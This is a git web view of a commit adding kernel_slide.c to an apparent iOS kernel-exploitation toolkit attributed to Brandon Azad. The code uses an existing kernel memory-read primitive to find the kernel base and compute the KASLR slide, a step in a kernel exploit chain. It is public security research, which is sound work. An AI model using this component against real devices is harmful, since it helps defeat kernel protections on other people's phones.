summaryrefslogtreecommitdiff
path: root/kernel_call/kernel_slide.c
diff options
context:
space:
mode:
Diffstat (limited to 'kernel_call/kernel_slide.c')
-rwxr-xr-xkernel_call/kernel_slide.c88
1 files changed, 88 insertions, 0 deletions
diff --git a/kernel_call/kernel_slide.c b/kernel_call/kernel_slide.c
new file mode 100755
index 0000000..832a179
--- /dev/null
+++ b/kernel_call/kernel_slide.c
@@ -0,0 +1,88 @@
+/*
+ * kernel_slide.c
+ * Brandon Azad
+ */
+#define KERNEL_SLIDE_EXTERN
+#include "kernel_slide.h"
+
+#include <assert.h>
+#include <mach/vm_region.h>
+#include <mach-o/loader.h>
+
+#include "kernel_memory.h"
+#include "log.h"
+#include "parameters.h"
+#include "platform.h"
+
+/*
+ * is_kernel_base
+ *
+ * Description:
+ * Checks if the given address is the kernel base.
+ */
+static bool
+is_kernel_base(uint64_t base) {
+ // Read the data at the base address as a Mach-O header.
+ struct mach_header_64 header = {};
+ bool ok = kernel_read(base, &header, sizeof(header));
+ if (!ok) {
+ return false;
+ }
+ // Validate that this looks like the kernel base. We don't check the CPU subtype since it
+ // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
+ // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
+ // CPU_SUBTYPE_ARM64_V8).
+ if (!(header.magic == MH_MAGIC_64
+ && header.cputype == platform.cpu_type
+ && header.filetype == MH_EXECUTE
+ && header.ncmds > 2)) {
+ return false;
+ }
+ return true;
+}
+
+bool
+kernel_slide_init() {
+ if (kernel_slide != 0) {
+ return true;
+ }
+ // Get the address of the host port.
+ mach_port_t host = mach_host_self();
+ assert(MACH_PORT_VALID(host));
+ uint64_t host_port;
+ bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
+ mach_port_deallocate(mach_task_self(), host);
+ if (!ok) {
+ ERROR("could not lookup host port");
+ return false;
+ }
+ // Get the address of realhost.
+ uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
+ return kernel_slide_init_with_kernel_image_address(realhost);
+}
+
+bool
+kernel_slide_init_with_kernel_image_address(uint64_t address) {
+ if (kernel_slide != 0) {
+ return true;
+ }
+ // Find the highest possible kernel base address that could still correspond to the given
+ // kernel image address.
+ uint64_t base = STATIC_ADDRESS(kernel_base);
+ assert(address > base);
+ base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
+ // Now walk backwards from that kernel base one kernel slide at a time until we find the
+ // real kernel base.
+ while (base > STATIC_ADDRESS(kernel_base)) {
+ bool found = is_kernel_base(base);
+ if (found) {
+ kernel_slide = base - STATIC_ADDRESS(kernel_base);
+ DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
+ return true;
+ }
+ base -= kernel_slide_step;
+ }
+ ERROR("could not find kernel base");
+ ERROR("could not determine kernel slide");
+ return false;
+}